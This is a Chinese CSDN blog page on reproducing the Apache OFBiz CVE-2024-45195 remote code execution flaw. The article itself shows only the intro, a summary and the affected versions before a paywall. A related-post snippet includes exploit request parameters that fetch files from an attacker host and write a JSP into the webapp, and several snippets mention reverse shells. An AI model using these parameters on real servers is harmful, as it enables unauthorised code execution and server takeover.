Apache OFBiz 远程代码执行漏洞复现(CVE-2024-45195)

已于 2024-09-06 21:52:25 修改
阅读量1.5k 收藏
点赞数 1
CC 4.0 BY-SA版权
分类专栏： 漏洞复现v1 文章标签： apache 安全 web安全
于 2024-09-06 21:50:59 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41904294/article/details/141969865

0x01 产品简介

Apache OFBiz是一个电子商务平台，用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇（Apache）基金会的一套企业资源计划（ERP）系统。该系统提供了一整套基于Java的Web应用程序组件和工具。

0x02 漏洞概述

2024年9月，互联网上披露了Apache OFBiz 远程代码执行漏洞(CVE-2024-45195)，该漏洞允许未经身份验证的远程攻击者通过SSRF漏洞控制请求从而写入恶意文件。攻击者可能利用该漏洞来执行恶意操作，包括但不限于获取敏感信息、修改数据或执行系统命令，最终可导致服务器失陷。

0x03 影响范围

Apache OFBiz < 18.12.16

0x04 复现环境

了解本专栏 订阅专栏 解锁全文 超级会员免费看
Apache OFBiz 未授权远程代码执行漏洞（CVE-2024-45195）
iSee857的博客
09-08 1295
Apache OFBiz是⼀个著名的电⼦商务平台，提供了创建基于最新 J2EE/ XML规范和技术标准，构建大中型企业级、跨平台、跨数据库、跨应⽤服务器的多层、分布式电⼦商务类WEB应⽤系统的框架。Apache OFBiz 18.12.16 之前版本中，由于Web 应用程序中缺少视图授权检查，未经身份验证的远程威胁者可构造恶意请求写入恶意文件导致远程代码执行，从而获取服务器权限。在服务器上启动一个python http服务用以 请求发送。服务器上启的http服务收到访问链接。访问下列接口进行RCE验证。
Apache OFBiz 授权不当致远程代码执行漏洞(CVE-2024-38856)
0xSec
08-05 1435
2024年8月，互联网上披露Apache OFBiz 授权不当致远程代码执行漏洞(CVE-2024-38856)，该漏洞允许未经过身份验证的远程攻击者绕过原有通过特定URL绕过检测执行恶意代码的安全机制。攻击者可能利用该漏洞来执行恶意操作，包括但不限于获取敏感信息、修改数据或执行系统命令，最终可导致服务器失陷。
CVE-2024-45195漏洞复现并反弹shell（Apache OFBiz 未授权远程代码执行漏洞）
yyytaotao的博客
09-12 1377
本文利用了一个云服务器来远程代码执行并反弹shell.
Apache-OFBiz远程代码执行漏洞(CVE-2024-45195)
最新发布
swordheart的博客
05-15 268
Apache OFBiz存在一个严重的远程代码执行漏洞（CVE-2024-45195），该漏洞源于SSRF（服务器端请求伪造）问题，允许未经身份验证的远程攻击者通过控制请求来写入恶意文件。
Apache OFBiz 远程代码执行漏洞复现(CVE-2024-45195)并拿到shell
weixin_67840381的博客
09-12 1285
DATAFILE_LOCATION=http://公网ip:端口/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://公网ip:端口/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce。Host: 对方的host。这次使用的nc命令为。
apacheOfbiz
weixin_34290390的博客
08-29 165
一、ofbiz 用自身数据库安装 1. 由 binary 安装: 由 binary 安装非常简单, 以下是安装方法: 下载ofbiz-2.0-beta1-complete.tar.gz, 注意不是ofbiz-2.0-beta1.tar.gz. tar xvzf ofbiz-2.0.beta1-complete.tar.gz cd tomcat/bin ./ofbiz.sh start gal...
Apache OFBiz XML-RPC远程代码执行漏洞(CVE-2023-49070)漏洞复现
qq_53733257的博客
12-11 2396
CVE-2023-49070 漏洞复现
Apache OFBiz远程代码执行漏洞（CVE-2024-38856）
蚁景网安学院
09-12 541
Apache OFBiz 是一个开源的企业资源规划系统，提供了一整套企业管理解决方案。Apache OFBiz 在处理 view 视图渲染的时候存在逻辑缺陷，未经身份验证的攻击者可通过构造特殊 URL 来覆盖最终的渲染视图，从而执行任意代码。
Apache ofbiz RMI远程代码执行漏洞复现(CVE-2021-26295)
小小猪的博客
12-18 2076
Apache ofbiz RMI远程代码执行漏洞复现(CVE-2021-26295) 介绍： OFBiz是一个非常著名的电子商务平台，是一个非常著名的开源项目，提供了创建基于最新J2EE/XML规范和技术标准，构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等,OFBiz 已经正式成为 Apache 的
Goby 漏洞发布｜（CVE-2024-45195）Apache OFBiz /viewdatafile 代码执行漏洞【已复现】
m0_46699477的博客
09-10 612
CVE-2024-45195:Apache OFBiz /viewdatafile 代码执行漏洞,Apache OFBiz是一个开源企业资源规划（ERP）系统。它提供了一套企业应用程序，集成并自动化企业的许多业务流程。 Apache OFBiz 存在远程代码执行漏洞，远程攻击者可通过控制请求从而写入恶意文件获取服务器权限。
漏洞复现-Apache OFBiz 未授权远程代码执行漏洞 (CVE-2023-49070)
玄道的网安博客
08-11 647
Apache XML-RPC 是 XML-RPC 的 Java 实现，XML-RPC 是一种使用 XML over HTTP 来实现远程过程调用的协议。USERNAME=&PASSWORD=s&requirePasswordChange=Y绕过针对/control/xmlrpc的接口过滤限制（CVE-2020-9496），从而使用 Apache XMLRPC 客户端库的应用程序权限执行任意代码。所以，只要我们在发送XML-RPC请求的时候，将。这个补丁的作用是为XML-RPC的接口增加鉴权。
Apache OFBiz E-Business Solutions.pdf
02-04
Apache OFBiz E-Business Solutions.pdf 一千多页，OFBiz 9.04
ofbiz：Apache OFBiz-主要开发已移至ofbiz-frameworks存储库
02-03
ApacheOFBiz:registered: 欢迎使用ApacheOFBiz:registered: ！ 一个功能强大的顶级Apache软件项目。 OFBiz是用Java编写的企业资源计划（ERP）系统，并包含大量库，实体，服务和功能，以运行您的业务的各个方面。 有关OFBiz的更多详细信息，请访问OFBiz文档页面： 系统要求 运行OFBiz的唯一要求是在系统上安装Java Development Kit（JDK）版本8（不仅是JRE，而且是完整的JDK），您可以从下面的链接下载该版本。 注意：如果使用的是Eclipse，请确保在Eclipse中创建项目之前运行适当的Eclipse命令gradlew eclipse 。 该命令将
apache-ofbiz-16.11.02源码+ofbiz菜鸟笔记+Apache+OFBiz+开发初学者指南
09-14
apache-ofbiz-16.11.02.zip，ofbiz菜鸟笔记，Apache+OFBiz+开发初学者指南.chm
开源ERP-apache-ofbiz-17.12.04.zip
07-18
Apache OFBiz 是用于企业流程自动化的开源产品，包括 ERP（企业资源规划）、CRM（客户关系管理）、电子商务/电子商务、SCM（供应链管理）、MRP（制造资源规划）、MMS / EAM（维护管理系统/企业资产管理）的框架组件和业务应用。 Apache OFBiz 为可靠、安全和可扩展的企业解决方案提供了基础和起点。开箱即用，自定义或将其用作框架来实现您最具挑战性的业务需求。使用 OFBiz ，您可以立即开始，而无需传统企业自动化系统的巨大部署和维护成本。随着业务的发展，您可以扩展功能以满足您更加复杂的需求。 Apache OFBiz 项目是 Apache 软件基金会的一部分。
【漏洞复现】Apache OFBiz 授权不当致远程代码执行
今天是几号的博客
08-06 1148
攻击者可能利用该漏洞来执行恶意操作，包括但不限于获取敏感信息、修改数据或执行系统命令，最终可导致服务器失陷。Apache OFBiz 是一个开源的企业资源计划 (ERP) 和客户关系管理 (CRM) 软件平台，提供全面的企业管理解决方案，包括电子商务、库存管理、制造、会计等功能，支持企业进行灵活的定制和扩展。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。本文所涉及的任何技术、信息或工具，仅供学习和参考之用。
【复现】Apache OFBiz RCE漏洞(CVE-2023-51467)_03
fushuang333的博客
12-30 1062
Apache OFBiz RCE漏洞。通过提交恶意构造的参数破坏命令语句结构，会执行恶意命令，甚至控制整个服务器。
【已复现】Apache OFBiz 路径遍历漏洞(CVE-2024-36104)安全风险通告
smellycat000的专栏
06-06 917
●点击↑蓝字关注我们，获取更多安全风险通告漏洞概述漏洞名称Apache OFBiz 路径遍历漏洞漏洞编号QVD-2024-21464,CVE-2024-36104公开时间2024-06-02影响量级万级奇安信评级高危CVSS 3.1分数9.8威胁类型代码执行利用可能性高POC状态已公开在野利用状态未发现EXP状态已公开技术细节状态已公开危害描述：未授权的攻击者可以通过构造恶意请求绕过认证，进⽽访...
proteus8.17下载安装
12-28
### 下载与安装 Proteus 8.17 #### 获取下载链接 为了获取Proteus 8.17试用版，访问官方资源页面可以找到带有数字签名的下载地址[^1]。 #### 解压缩文件 下载完成后，使用解压缩工具打开下载得到的压缩包。通常情况下，默认的Windows解压功能即可满足需求；如果遇到较大文件或特殊格式，则建议采用如WinRAR、7-Zip等第三方软件来处理。 #### 文件位置调整 将解压后的`Translations`文件夹复制到目标目录下的`Proteus 8 Professional`文件夹内[^2][^4]。这一步骤对于确保程序能够正常识别多国语言支持至关重要。 #### 安装核心组件 启动安装向导前先确认已经关闭所有不必要的后台进程以减少冲突可能性。运行安装包中的执行文件按照提示逐步完成设置过程。注意，在此期间可能会询问关于安装路径的选择，请务必谨慎操作以免误删已有数据或者造成系统不稳定状况发生。 #### 配置环境变量（可选） 虽然不是必需项但对于某些高级特性来说可能需要用到特定命令行参数调用方式。此时就需要把新加入的应用程序添加至系统的PATH列表里去以便全局范围内都能直接通过CMD窗口快速定位并启动它了。 ```bash set PATH=%PATH%;C:\Program Files\Laboratory Center Electronics\Proteus 8 Professional\ ``` > **重要提醒**: 上述示例假设默认安装于 `C:\Program Files\Laboratory Center Electronics\Proteus 8 Professional\`, 实际情况请依据个人电脑上的实际部署情况进行相应修改. #### 启动应用程序验证成功与否 最后一步就是尝试开启刚刚安好的Protues看看能否顺利进入主界面以及测试几个基础功能是否完好无损地保留下来啦！ ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xSecl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值